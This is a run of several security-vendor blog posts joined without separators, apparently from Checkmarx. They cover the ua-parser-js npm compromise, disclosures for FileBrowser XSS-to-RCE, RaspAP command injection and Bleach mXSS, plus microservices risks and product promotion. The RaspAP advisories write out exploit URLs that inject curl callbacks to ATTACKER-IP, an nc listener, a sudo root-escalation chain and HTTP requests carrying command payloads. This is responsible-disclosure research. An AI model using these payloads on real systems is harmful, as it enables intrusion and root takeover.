A few connecting lines between these two incidents seems to suggest they are related. 

Looking at the packages, we may be able to draw the chain of events connecting them to one another: 

First, a threat actor managed to gain access to the NPM account of the owner of a popular package named “UAParser.js”. Understanding the potential impact, they decided to test their malicious code before deploying it into the legitimate package. The attacker wanted to refrain from making a small mistake that would expose the fact that the package was compromised, before they had a chance to make their profit. To do so, they experimented with a few packages of their own. However, these experiments were caught by security researchers. As a result, the attackers chose to add the malicious code to the “UAParser.js” package before the opportunity to profit was lost.

While this chain of events is just a theory for how this attack came to pass, it’s highly likely this is how it progressed. One thing for sure, it can give us a better understanding of an attacker’s way of thinking based upon the following:

A brief recap

On October’s 20, the Sonatype research team published a blog reporting on three malicious NPM packages from the username ‘wozheqirsplu’:

• okhsa
• klow
• klown

The report indicated that these packages, in different ways, function as a dropper for a crypto miner and could infect both Linux and Windows users.

The report also included an image of the ‘package.json’ file, which shows a preinstall script running ‘calc.exe’. This is a classic POC behavior for security folks in order to prove they can launch an executable file.

In addition, it seems that at least one of the three packages copied the description from the popular UA-parser.js and its GitHub repository. (The original Sonatype report redacted this piece of information at the time of publication, since the second incident hadn’t occurred yet.)

These clues lead me to think that the packages discovered by Sonatype were the preparations for the real attack on UA-parser.js. I assume that the threat actor had somehow managed to gain access to the owner’s account of the original UA-parser.js and started preparing his attack by testing with these three packages.

This more impactful attack on the NPM package “UA-parser-js” was initially reported in this Github Issue.

From the changes between the original package to the malicious package, we can describe the likely attack course.

1. The infected package.json file calls for ‘preinstall.js’ script before the installation begins.
2. The ‘preinstall.js’ file is introduced by the attacker and wasn’t part of the package before the infection; the same applies for ‘preinstall.bat’ and ‘preinstall.sh’.
3. ‘preinstall.js’ main function is to identify the OS and accordingly launch the dropper script. It seems like the attacker decided to spare MacOS users for some reason.
4. The dropper scripts both download the crypto miner (xmrig variant) from the same URL and trigger it on the victim’s machine, but there are a few differences:
   • Linux version:
     • Won’t execute the malicious functionality if the victim’s IP is from Russia, Belarus, Ukraine, or Kazakhstan.
   • Windows version:
     • Downloads another payload, ‘sdd.dll’, and ensures its persistence by running it using regsvr32.exe.
     • This .dll file is a password and credentials stealer (possibly DanaBot) – VT report

Aside from the new additional payload, the wallet address, and the server’s IP address, the code from the “UA-parser-js” attack is practically identical to the one reported by Sonatype.

Conclusion

Developers who have used the following versions of the NPM package: “ua-parser-js” must consider themselves infected (Github advisory):

• 0.7.29
• 0.8.0
• 1.0.0

The crypto-miner infection can be removed from the machine. The machine’s passwords and credentials must also be considered compromised, and therefore, need to be changed.

What we can learn from these types of attacks is that they are not going away anytime soon. Attackers will always continue to maximize their reach and profit; therefore, researchers must investigate these attacks and their TTP’s and devise ways to thwart this type of activity.

To help combat the growing problem of similar attacks, Checkmarx acquired Dustico, a software as a service (SaaS) solution that detects malicious attacks and backdoors in open source software supply chains. Checkmarx will combine its Application Security Testing (AST) capabilities with Dustico’s behavioral analysis technology to give customers a unified view into the risk, reputation, and behavior of open source packages, resulting in a more comprehensive approach to preventing supply chain attacks. Dustico’s dynamic execution engine can protect organizations from this type of threat since it would not have allowed the malicious code to run on the developer’s machine.

After investigating FileBrowser, the Checkmarx Security Research Team discovered a stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to achieve Remote Code Execution (RCE) on the running FileBrowser instance, as shown in this blog. This vulnerability was assigned CVE-2021-37794.

CVSS Score

9.0 (Critical)

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Impact Summary

If the vulnerability is exploited, an attacker can run arbitrary operating system (OS) commands on the server that is running the application. As will be shown below, an attacker can achieve this with low-privileged credentials.

Description

A stored Cross Site Scripting (XSS) vulnerability in FileBrowser allows an authenticated user to become authorized to upload a malicious .svg file which acts as a stored XSS payload. FileBrowser includes a command runner feature which enables administrators to execute any shell command they want before or after a certain event. Using this feature, if the XSS payload is triggered by an administrator, it could trigger malicious OS commands on the server running the FileBrowser instance.

Proof-of-Concept

1. As a user with upload privileges, upload an SVG file containing a malicious script, such as the following:

2. This .svg will run javascript code that will:

a) upload a new Global Setting configuration with the “before_upload” parameter set to “touch /tmp/rce.txt”

b) upload a file with a random filename to trigger the command that would trigger on the “before_upload” event

3. Open the Development tools in the browser, and copy the following URL:

http://filebrowser-ip:8080/api/preview/thumb/exploit.svg?auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoyLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjpmYWxzZSwiZXhlY3V0ZSI6dHJ1ZSwiY3JlYXRlIjp0cnVlLCJyZW5hbWUiOnRydWUsIm1vZGlmeSI6dHJ1ZSwiZGVsZXRlIjp0cnVlLCJzaGFyZSI6dHJ1ZSwiZG93bmxvYWQiOnRydWV9LCJjb21tYW5kcyI6W10sImxvY2tQYXNzd29yZCI6ZmFsc2UsImhpZGVEb3RmaWxlcyI6ZmFsc2V9LCJleHAiOjE2MjM0NTU0MDIsImlhdCI6MTYyMzQ0ODIwMiwiaXNzIjoiRmlsZSBCcm93c2VyIn0.8zKdkS5JeHdkPpA-Hrrv-hoGzC247hmxzMiDKci_eAA&inline=true&k=1623448194873

Note: The URL above is the XSS Payload

4. If an admin of the FileBrowser instance attempts to access the above link, or the file itself, the XSS will trigger and run the OS command. This will trigger the payload, and the file rce.txt will be written to /tmp:

Recommendations

This Vulnerability was mitigated by a CSP (Content-Security-Policy) header as can be seen in this commit:

To avoid this issue, update FileBrowser to version v2.16.0 or higher.

Timeline of Disclosure

• July 7, 2021 – Disclosure
• July 8, 2021 – Issue acknowledged by FileBrowser
• July 26, 2021 – Fix committed
• July 26, 2021 – Fixed version released
• September 1, 2021 – CVE-2021-37794 assigned
• September 23, 2021 – Public disclosure

Summary of Disclosure and Events

As can be seen in the Timeline of Disclosure, it only took about 2 weeks from disclosure to fix. We would like to thank FileBrowser (and specifically Oleg Lobanov) for their fast response and speedy fix of the vulnerability.

Final Words

While XSS continues to be on the OWASP Top 10 Web Application Security Risks year after year, and is considered by some to be an insignificant vulnerability, it is still one of the most common vulnerabilities that are found in the wild. In many cases (such as the one seen here), it can lead to more severe exploitations—from access to sensitive files to complete takeover of a victim’s machine.

As always, the best solution is to never trust input that you do not have control over, and to always sanitize input before processing it. In this case, there is also the matter of handling served content types. Because this application serves uploaded files, they should be served in a way that does cause a browser to process them. In this case, serving SVG files which may have malicious contents should be avoided, and any types that may be triggered in a browser (e.g., HTML, SVG) should be served in their text form instead.

But a microservices strategy only pays off if you effectively manage the risks that go hand-in-hand with microservices. In certain key ways, microservices are fundamentally more challenging from a security perspective than less complex monolithic architectures. If you fail to manage the security risks of microservices, you may find yourself with an application that doesn’t perform well at all because it has been compromised – a problem that no amount of agility will solve.

That’s why it’s important to identify and address the security risks that accompany microservices. Here’s a list of the top five most common security issues developers should think about when writing microservices-based apps, along with tips on addressing them.

Risk 1: Complexity

If you’ve ever written or managed a microservices app, you know that microservices architectures bring complexity to a whole new level.

They make it more complex to write applications because developers have to ensure that each microservice can find and communicate with other microservices efficiently and reliably. And they make management harder because admins have to contend with service discovery, distributed log data, instances that constantly spin up and down, and so on.

Both of these challenges translate to security risks in the sense that, when it’s hard to keep track of everything happening in an environment, it’s more difficult to detect vulnerabilities. In order to conquer the complexity, developers and security teams need stronger tools for managing source code and monitoring runtime environments than they would require when dealing with monolithic apps.

Risk 2: Limited Environment Control

Depending on how you deploy microservices, you may have limited control over the runtime environment.

For example, if you use serverless functions to host microservices, you will have little to no access to the host operating system. You get only the monitoring, access control, and other tooling that the serverless function platform provides to you.

From a security perspective, this makes matters significantly more challenging because you can’t rely on OS-level tools to harden your microservices, isolate them from one another, or collect data that might reveal security issues. You have to handle all of the risks within the microservice itself. That can certainly be done, but here again, it requires more coordination and effort than developers of monolithic apps are accustomed to.

Risk 3: “Denial-of-Wallet” Attacks

Part of the reason everyone loves microservices is that they can scale so easily because new instances can be launched in just seconds.

That’s great when you actually want your microservices to scale. But what if someone with malicious intent gets hold of your environment and massively scales up your microservices in such a way that they consume enormous amounts of cloud resources?

You end up as the victim of a so-called Denial-of-Wallet attack, which is an attack designed to waste victims’ money, even if it doesn’t actually disrupt service.

So far, Denial-of-Wallet attacks remain purely theoretical; no such attack has yet been reported in the wild. Still, this is a real risk, especially for businesses with poorly secured cloud computing accounts or fewer measures in place to detect malicious spending activity.

Risk 4: Securing Data

In a monolithic application, data is usually stored in a simple and straightforward way. It probably lives on the local file system of the server that hosts the data, or possibly in network-connected storage that is mapped to the server’s local storage. This data is easy to encrypt and lock down with access controls.

Microservices typically use an entirely different storage architecture. Because microservices are usually distributed across a cluster of servers, you can’t rely on local storage and OS-level access controls. Instead, you most often use some kind of scale-out storage system that abstracts data from underlying storage media.

These storage systems can usually be locked down with access controls. But the access controls are often more complex than dealing with permissions at the file system level, which means it’s easier for developers to make mistakes that invite security breaches.

On top of this, the complexity of ensuring that each microservice has the necessary level of access to the storage can lead some developers to do the easy but irresponsible thing of failing to configure granular storage policies and allowing all microservices to access all data.

Either way, you end up with storage that is not as secure as that of a conventional, monolithic app.

The answer here is to ensure that you take full advantage of granular access control within storage systems, while also scanning access configurations for potential misconfigurations.

Risk 5: Securing the Network

Securing the network is critical for any type of application that connects to the network – which means virtually every application today.

When you’re dealing with microservices, however, network security assumes a whole new level of complexity. That’s because microservices don’t just communicate with end-users or third-party resources over the Internet, as a monolith would. They also usually rely on a complex web of overlay networks to share information among themselves.

More networks mean more opportunities for attackers to find and exploit vulnerabilities. They can intercept sensitive data that microservices exchange with each other, for example, or use internal networks to escalate breaches from one microservice to others.

Conclusion: Are Microservices Worth the Risk?

All of these risks can be managed. To say that developers should avoid microservices because they’re too complex and challenging would be like saying we should return to the age of horse-drawn buggies because cars are too dirty and dangerous.

But that doesn’t mean that it’s not important to manage the risks of microservices. Just as no responsible driver would move a car without taking the reasonable precaution of buckling up first, no developer should deploy microservices without taking steps to manage their inherent risks.

Chris Tozzi has worked as a journalist and Linux systems administrator. He has particular interests in open source, agile infrastructure, and networking. He is Senior Editor of content and a DevOps Analyst at Fixate IO. His latest book, For Fun and Profit: A History of the Free and Open Source Software Revolution, was published in 2017.

Download our Ultimate Guide to SCA here.

After researching RaspAP, the Checkmarx Security Research Team has found multiple vulnerabilities including OS Command Injection vulnerabilities (CWE-78) that could lead to Remote Code Execution (RCE), as well as a Privilege Escalation vulnerability that could allow an attacker to elevate themselves to root access.

Impact Summary

Using a combination of several of the discovered vulnerabilities, an attacker could execute arbitrary operating system commands with root privileges on any host running the RaspAP software. As will be shown below, an attacker can achieve this with or without credentials.

CVE-2021-33357 Unauthenticated Command Injection

CVSS Score 10.0 (Critical) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

A Command Injection vulnerability exists in “RaspAP” in the “iface” GET parameter in /ajax/networking/get_netcfg.php, when the “iface” parameter value contains special characters such as “;”. Note that while most endpoints on the application require a CSRF token, this endpoint does not. Since no other authentication mechanisms are securing this endpoint, the exploitation does not require any authentication whatsoever and can be triggered directly or via CSRF.

Vulnerability Analysis

As can be seen in a CxSAST scan result, the tainted flow in code is quite clear:

1. Request matches /ajax/networking/get_netcfg.php with $_GET[‘iface’] parameter and loads into the $interface variable – https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/ajax/networking/get_netcfg.php#L6
2. The $interface variable is concatenated to the following command and executed:
   • exec(‘cat ‘. RASPI_DNSMASQ_PREFIX.$interface.’.conf’, $return);
   • https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/ajax/networking/get_netcfg.php#L10

The endpoint /ajax/networking/get_netcfg.php does require the /includes/csrf.php page, which is supposed to ensure only authenticated users can perform meaningful actions, but upon inspection, we see:

1. In /includes/csrf.php there is a call to csrfValidateRequest in /includes/functions.php – https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/includes/csrf.php#L6
2. In includes/functions.php the function csrfValidateRequest only handles “POST”, “PUT”, “PATCH” and “DELETE” requests (whereas our endpoint handles the “GET” parameter $_GET[‘iface’])
   • https://github.com/RaspAP/raspap-webgui/blob/061d01cbd56411adbe52a313ff8d04e2bfa893bc/includes/functions.php#L286

Proof-of-Concept

1. Create a basic RaspAP instance by following the guide here.
2. On the attacker machine, open a socket listener:
   • nc -nvlp 4444
3. Browse to:

http://raspap-ip/ajax/networking/get_netcfg.php?iface=;curl%20http://ATTACKER-IP:4444/`whoami`;

As we can see, the attacker has received a request from the victim requesting the page “www-data”, which is the username of the user running the webserver.

CVE-2021-33356 Privilege Escalation   

CVSS Score 9.9 (Critical) CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Description

The application runs multiple OS commands with sudo. To be able to do so, it adds permissions to run OS commands with sudo without a password during the installation.

The list of available commands is on the picture:

Whereas some of these files are owned by root, some files in the /etc/raspap folder are owned by the www-data user or group, which gives write permissions to these files. If an attacker can run OS commands as www-data, then they can modify one of the files and add arbitrary bash commands. Afterward, they can run the modified file with root privileges using sudo.

By chaining the unauthenticated OS command injection vulnerability mentioned in this report it’s possible to run OS commands as root without authentication.

Proof-of-Concept

1. Create basic RaspAP instance by following the guide here.

2. On the attacker machine, open a socket listener:

• nc -nvlp 4444

3. Browse to: http://raspaddress/ajax/networking/get_netcfg.php?iface=;echo%20%22curl%20http://ATTACKERIP:PORT/`whoami`%22%20%3E%3E%20/etc/raspap/lighttpd/configport.sh%20;sudo%20/etc/raspap/lighttpd/configport.sh%2080%20127.0.0.1%20/etc/lighttpd/lighttpd.conf%20localhost

This time the requested page “root” shows us the command was run with root privileges.

CVE-2021-33358 Authenticated Command Injection

CVSS Score 9.9 (Critical) CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Description

RaspAP allows creating an Access Point (AP) with the defined settings. After the settings are saved, it provides the user with a QR code that contains the SSID and password of the AP created by the application. This feature is available after authentication.

An authenticated attacker can send a POST request with a malicious payload in the “interface”, “ssid”, or “wpa_passphrase” field to run arbitrary OS commands. The command injected into the “interface” field is executed immediately. The commands injected into SSID and password fields require an additional request to the QR-code generation page to be triggered.

Vulnerability Analysis

1. The QR code is built in https://github.com/RaspAP/raspap-webgui/blob/master/app/img/wifi-qr-code.php file. It takes ssid and password from hostapd config file (https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/app/img/wifi-qr-code.php#L18).
2. The SSID and password are processed through qr_encode function that replaces part of the characters (https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/app/img/wifi-qr-code.php#L15), but it leaves $, (, ) and /.
3. Later (https://github.com/RaspAP/raspap-webgui/blob/8f0ae3b36aa1020d21477e66010c6b2146e7c222/app/img/wifi-qr-code.php#L44) while building the OS command, the concatenated data is processed with mb_escapeshellarg function, which only escapes quotes (https://github.com/RaspAP/raspap-webgui/blob/e3c00a80920ae2dea516ebdd3921335eb51231f6/includes/functions.php#L523). Therefore, setting the password equal to $(touch /tmp/123) allows running an OS command.
4. The “interface” parameter value is directly inserted into a system command without sanitization after the HTTP request that updated the AP configuration  (https://github.com/RaspAP/raspap-webgui/blob/6d3966dd8a54dad2b85b39f2ab0fa476143f2059/includes/hostapd.php#L64)

To reproduce the vulnerability, open the security settings of the hotspot, as shown in the picture above, and insert the OS command into the password field in the following format: $(OS COMMAND). Note that some of the symbols are filtered, but this can be bypassed by using the base64 encoded OS command.

Proof-of-Concept

1. Create a basic RaspAP instance by following the guide here.  
2. After authenticating, send the following HTTP requests to the RaspAP host:
   1. POST /hostapd_conf HTTP/1.1 
      Host: localhost 
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
      Accept-Language: en-US,en;q=0.5 
      Accept-Encoding: gzip, deflate 
      Content-Type: application/x-www-form-urlencoded 
      Content-Length: 355 
      Origin: http://localhost 
      Authorization: Basic YWRtaW46c2VjcmV0 
      Connection: close 
      Referer: http://localhost/hostapd_conf 
      Cookie: PHPSESSID=j99hb7n50dp4d26no5ccnjhf2o 
      Upgrade-Insecure-Requests: 1 
       
      csrf_token=ce138993d5ecd5d041fb805425ab069d700251a1be50e2ade5d51c5fa084f282&interface=lo;touch%20/tmp/checkinterface;&ssid=%24%28touch+%2Ftmp%2Fcheckssid%29&hw_mode=g&channel=1&wpa=2&wpa_pairwise=CCMP&wpa_passphrase=%24%28touch+%2Ftmp%2Fcheckpass%29&beaconintervalEnable=1&beacon_interval=100&max_num_sta=&country_code=AF&SaveHostAPDSettings=Save+settings 
   2. GET /app/img/wifi-qr-code.php HTTP/1.1 
      Host: localhost 
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
      Accept: image/webp,*/* 
      Accept-Language: en-US,en;q=0.5 
      Accept-Encoding: gzip, deflate 
      Authorization: Basic YWRtaW46c2VjcmV0 
      Connection: close 
      Referer: http://localhost/hostapd_conf 
      Cookie: PHPSESSID=j99hb7n50dp4d26no5ccnjhf2o 
3. On the victim machine, we see all 3 files were created:

Recommendations

The developer released a fix. To avoid these issues, update RaspAP to version 2.6.6 or higher.

Timeline of Disclosure

• Apr 21, 2021 – Disclosure
• Apr 21, 2021 – Issue acknowledged by RaspAP
• May 2, 2021 – Fix committed
• June 10, 2021 – CVE-2021-33356, CVE-2021-33357, and CVE-2021-33358 assigned
• June 6, 2021 – Fixed version released
• July 28, 2021 – Public disclosure

Final Words

This type of research is part of the Checkmarx Security Research Team’s ongoing efforts to drive the necessary changes in software security practices among all organizations. Checkmarx is committed to analyzing open-source software to help development teams build and deploy more secure applications. Our database of open source libraries and vulnerabilities is cultivated by the Checkmarx Security Research Team, empowering CxSCA customers with risk details, remediation guidance, and exclusive vulnerabilities that go beyond the NVD.

Copyright Notices

RaspAP/raspap-webgui is licensed under the GNU General Public License v3.0
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>. Everyone is permitted to copy and distribute verbatim copies of this licensed document, but changing it is not allowed.

Pertaining to development tools, DevOps is also about automation of the different tooling in use that improves the speed of software delivery. Designed primarily for those embarking on DevSecOps initiatives, Checkmarx CxFlow integrates security into the existing tools so that secure software development can be achieved without requiring any extra tools. Using the existing tools already in place, CxFlow seamlessly operates in the background.

Checkmarx CxFlow is all about the automation of AST solutions into the tooling within today’s organizations. It was developed to address AST automation head-on, but there is more to CxFlow than meets the eye. Below is a list of the top three benefits organizations will experience when using CxFlow with their CxSAST and CxSCA deployments. Let’s delve a little deeper into what CxFlow is all about.

#1 The Most Shift-left Where Automation Can Occur

Traditionally, application security testing (AST) solutions on the market operate within the CI tooling in use and scans are normally performed after a merge/build has taken place – further to the right of the SDLC, so to speak. CxFlow on the other hand, allows organizations to shift that functionality to the left since CxFlow is an orchestration layer that simplifies the implementation and automation of AST in today’s modern development environments.
Using CI plugins to launch AST scans are still supported and even recommended, for example, launching scans from Jenkins, CircleCI, Travis CI, Bamboo, TeamCity, etc.

However, AST scans can now be integrated and launched directly from code management tools as well. CxFlow effortlessly integrates with application release orchestration and agile planning tools such as GitHub, GitLab, BitBucket, Azure DevOps, etc., enabling fully automated scanning of applications and the delivery of consumable results to the developers themselves.

Plus, CxFlow integrates directly with bug/defect tracking tools like Jira, Rally Software, ServiceNow, SonarQube, etc. This eliminates the need for time-consuming manual scan configurations and allows developers to publish and update findings based on policy to a defect/backlog management system for application teams to track.

#2 End-to-End Automation, from Scanning to Ticketing

Leveraging Checkmarx’s unique ability to scan uncompiled code, CxFlow automates the steps required to scan code earlier in the SDLC. This eliminates the need for time-consuming manual configuration of scans and allows developers to publish and update scan findings based on a pre-configured policy within the code management tools themselves. After the initial configuration, AST scan activity is performed hands-off with no human intervention required whatsoever beyond a pull request initiated by a developer.
With CxFlow, upon a pull request in the code management tools in use, the developer not only receives notifications from scans as comments that are related to functionality, but also as comments that are related to security, since CxFlow easily integrates with IDEs and code management tools in use. Just like that, the developer is able to have their code reviewed once for all bugs and would be able to close the full feedback loop with ticketing systems, all while the code is still fresh in their mind.  This allows developers to:

• Catch and fix vulnerabilities during the coding phase (earliest stage of development).
• Work as usual with no disruptions, no new tools, no additional security reviews needed, etc.
• Treat security bugs and functional bugs alike and allows them to immediately address those bugs within the code branch(es) they’re currently working on.
• Reduce the overhead of manually opening, validating, and closing security tickets without spending countless hours in bug tracking/ticketing management systems.

#3 Removes Friction Between Developers and DevOps/AppSec Teams

CxFlow eliminates the manual and time-consuming configuration per project within DevOps, thereby removing the friction between developers and DevOps teams when needing to add scanning steps into the jobs of all CI pipelines, since adding jobs/steps to scan code is challenging using the older CI-scan model. Today, CxFlow:

• Simplifies the AST lifecycle through automation into the tools already in use by taking a web listener approach, listening for events from the source code repositories and triggering AST scan actions upon such an event.
• Enables developers to have little if any intimate knowledge of CxSAST or CxSCA solutions since developers receive their automated scan reviews as comments/reports right from the repositories, not the AST solutions deployed.
• Works off the concept of a protected-branching strategy whereby you can configure master, develop, and security branches, for example, that are all deemed protected. This means that pull requests, push events, etc. will trigger scans and produce results when any code changes are made that are associated with those protected branches.
• Reduces TCO and improves ROI for scanning tools by reducing the need to manage and maintain multiple CI plugins concerning installation, updates, etc., when multiple CI solutions are in use.

Conclusion

CxFlow streamlines the configuration and orchestration between the development tool set and the Checkmarx Software Security Platform to drive AST automation. With this, organizations can instantly onboard their development, security, and operations teams and simplify the governance of their security policies and DevSecOps processes.

The traditional AST solution providers are leaving developers behind, because without the ability to scan source code directly, the traditional players can’t efficiently work within code management tools similar to Checkmarx.

Clearly, integration is key to automation and CxFlow enables the most shift left approach where automation can actually occur within the SDLC—changing the way AST solutions are integrated with in all DevOps environments.

Overview

According to documentation, “Bleach is an allowed-list-based HTML sanitizing library that escapes or strips markup and attributes and is intended for sanitizing text from untrusted sources.” In simpler terms, Bleach is a very user-friendly HTML sanitizer, and its main purpose is to disallow arbitrary tags to run (e.g., JavaScript (JS) tags and attributes to prevent cross-site scripting (XSS)).
After a bit of fuzzing and using some different approaches, Checkmarx researchers discovered the possibility that a mutation XSS (mXSS) vulnerability may exist. With further digging, these suspicions were confirmed, and several mXSS vulnerabilities were discovered in the Mozilla-Bleach python package.
An attacker abusing these vulnerabilities would have the ability to execute an arbitrary JavaScript code on the user end, via various sites or projects that use Bleach.

Mutation XSS (mXSS)

A mXSS vulnerability occurs when there is incoherent parsing between the client and the sanitizer. To understand this better, the following example should help.
Let’s see how a standard browser interprets invalid HTML. When we enter the data below into the innerHTML of the page:The browser will modify the data to make it valid html. In this case, this is what the output looks like:
Now let’s try to change the div tag to a different type of tag, for example:

Doing so will generate the result below:

Both examples act differently because the data inside the tags are parsed differently according to the tag type. Now, imagine the parser goes from left to right. In the first case, after entering the div tag, the parser stays as html and opens an a tag with the title attribute (because the “closing” div tag is text in an attribute, it will not close the tag).
In the second case, when the parser enters the style tag, it changes to CSS parser, which means no a tag is created, and the style tag will be closed where the attribute was supposed to be.
So, how can this information help us in finding vulnerabilities? Imagine a tag that parses differently in different cases, for example, the noscript tag. The trick here is that the noscript tag in HTML is treated differently, whether JavaScript (JS) is enabled or disabled. When JS is enabled, the data inside the tag is parsed as JS. But, when it’s disabled, the data is parsed as html. In nearly all cases, JS is enabled in browsers.
Let’s take a look at how the following input is being interpreted with, and without, JS enabled:

Here, JS is disabled:

Here, JS is enabled:

Vulnerability: CVE-2020-6802

When we tried to pass the above input to Bleach, it sanitized the ‘< ‘characters in the attribute, but also it closed the a tag! This means that it parsed the data in noscript as html.

In this case, the only thing left is to avoid this sanitization. If that wasn’t enough of a challenge, we attempted to enter another parsing into the equation.

This provided the outcome we were anticipating.
Sanitizer view:
Enters noscript and the parser is HTML, opens a style tag, and starts parsing as CSS (or raw text). Everything after the style tag isn’t parsed as html, so from the sanitizer’s viewpoint, there is no closing noscript tag nor img tag.
Browser view:
Enters noscript and the parser is changed to JavaScript. Now the “<style>” is just text, not a tag. As you can see, the closing tag, in this case, actually closes the noscript tag, and from there, everything is html.
The conditions to successful exploitation are: noscript tag allowed as well as html comments, or one of the following tags: title, textarea, script, style, noembed, noframes, iframe, xmp.

Vulnerability: CVE-2020-6816

Shortly after, the Checkmarx Security Research Team discovered another mXSS vulnerability in Mozilla-Bleach, this time with the use of svg/math tags.
The caveat here is that the parsing inside those tags is like XML. So, if we enter, for example, a style tag, the data inside will act differently, whether inside or outside.
Inside an svg tag:

Without an svg tag:

This shows how differently the data inside the style tag is being parsed. In addition, some unwanted tags inside the svg/math will automatically pop out of the svg/math and will be parsed as HTML (e.g., <img>).
When the team tried to put a malicious img tag in svg/math->style->img, Bleach acted strangely.
In case the img tag was whitelisted, it parsed it like the browser and sanitized unwanted attributes as expected. And when the “strip” variable was set to true (meaning it will delete unwanted data instead of sanitizing it, default is false), it got deleted. But in case “strip” was not changed, we could use any tag that wasn’t allowed and bypass Bleach.

After further investigation, we saw that html5lib (the parser behind Bleach) does recognize the data inside svg->style as tags. But for some reason, Bleach doesn’t sanitize unwanted tags.

Impact

According to GitHub, more than 72,000 repositories are dependent on Bleach. Among them are major vendors, including multiple Fortune 500 tech companies.

Summary of Disclosure and Events

When the first vulnerability was discovered, our research team ensured that they could reproduce the process of exploiting it. Once that was confirmed, the Checkmarx team responsibly notified Mozilla of their findings. Subsequently, they opened a Bugzilla ticket where the team helped Mozilla find a proper mitigation approach, and they fixed the issue rapidly.
Soon after that, the second vulnerability was discovered by the research team. Again, a responsible notification was sent to Mozilla, and a Bugzilla ticket was quickly opened and resolved.
Checkmarx customers using CxSCA were automatically notified to update Mozilla-Bleach.

Bugzilla tickets

CVE-2020-6802 – https://bugzilla.mozilla.org/show_bug.cgi?id=1615315
CVE-2020-6816 – https://bugzilla.mozilla.org/show_bug.cgi?id=1621692

Timeline of Disclosure

• 13-Feb-2020: First vulnerability reported
• 14-Feb-2020: Checkmarx customers who were using Bleach were warned, without exposing the vulnerability‘s details
• 19-Feb-2020: Fixed version v3.1.1 and an advisory on GitHub was released
• 25-Feb-2020: CVE-2020-6802 was assigned
• 11-Mar-2020: Second vulnerability reported
• 11-Mar-2020: Checkmarx customers who were using Bleach were warned, without exposing the vulnerability‘s details
• 17-Mar-2020: Fixed version v3.1.2 and an advisory on GitHub was released
• 19-Mar-2020: CVE-2020-6816 was assigned

Final Words

Discovering vulnerabilities like the ones documented in this report is why the Checkmarx Security Research Team performs investigations into open source packages. With open source making up the vast majority of today’s commercial software projects, security vulnerabilities must be taken seriously and handled more carefully across the industry. Solutions like CxSCA are essential in helping organizations identify, prioritize, and remediate open source vulnerabilities more efficiently to improve their overall software security risk posture.

References

XSS – https://owasp.org/www-community/attacks/xss/
mXSS – https://cure53.de/fp170.pdf
CVE-2020-6802 advisory – https://github.com/mozilla/bleach/security/advisories/GHSA-q65m-pv3f-wr5r
CVE-2020-6816 advisory – https://github.com/mozilla/bleach/security/advisories/GHSA-m6xf-fq7q-8743
CVE-2020-6802 Bugzilla ticket- https://bugzilla.mozilla.org/show_bug.cgi?id=1615315
CVE-2020-6816 Bugzilla ticket – https://bugzilla.mozilla.org/show_bug.cgi?id=1621692
For more information or to speak to an expert about how to detect, prioritize, and remediate open source risks in your code, contact us.

What is the Issue?

The Checkmarx Security Research Team identified a document object model-based cross-site scripting (DOM XSS for short) vulnerability in Drupal Core. This type of XSS attack is achievable if a web application enters data to the DOM without being appropriately sanitized. In this case, an attacker can manipulate their input data to include XSS content on the web page, for example, malicious JavaScript code, which in-turn would be consumed by Drupal Core itself.

What is the Risk?

An attacker abusing this vulnerability can take over the administrator role of a Drupal-based website and get full control that allows changing of content, creating malicious links, stealing sensitive or financial data, or whatever else comes to mind.

Drupal Assigns CVE-2020-13663

Drupal labeled the Security Risk of this vulnerability our team discovered as follows:

• Risk: Critical
• Access Complexity: Complex
• Authentication: All/Anonymous Users
• Confidentiality Impact: Certain Non-Public Data is Released
• Integrity Impact: Some Data Can be Modified
• Exploit (Zero-day Impact): Theoretical or White-hat (no public exploit code or documentation on development exists)
• Target Distribution: All Module Configurations are Exploitable

Summary of Disclosure and Events

When the vulnerability was first discovered, the Checkmarx Security Research Team responsibly notified Drupal of its findings. Our team was asked to advise Drupal’s team after our disclosure, which we willingly did.
After we disclosed the vulnerability, the Drupal team’s sense of urgency and professionalism was quite notable, and a fix was made available within a week of our disclosure.
In accordance with Drupal’s disclosure guidelines and to give its users adequate time to update their software, Checkmarx will refrain from publishing a more technical report showing an in-depth walkthrough and proof-of-concept of exploiting this vulnerability for 60 days. In the meantime, we strongly encourage Drupal users to take action on recommended updates.

Recommendation

At this time, Checkmarx highly recommends that anyone using Drupal update the version in use immediately to the latest release, which contains a fix for this vulnerability.
Checkmarx customers using Checkmarx Software Composition Analysis (CxSCA) have already been automatically notified to update Drupal while running a scan of their code base.

Final Words

This type of research activity is part of the Checkmarx Security Research Team’s ongoing efforts to drive the necessary changes in software security practices among all organizations in an effort to improve security for everyone. Checkmarx is committed to analyzing the most prominent open source packages to help development teams ship more secure software and improve their software security risk posture. Our database of open source libraries and vulnerabilities is cultivated by the Checkmarx Security Research Team, empowering CxSCA with risk details, remediation guidance, and exclusive vulnerabilities that go beyond the NVD.
For more information or to speak to an expert about how to detect, prioritize, and remediate open source risks in your code, contact us.

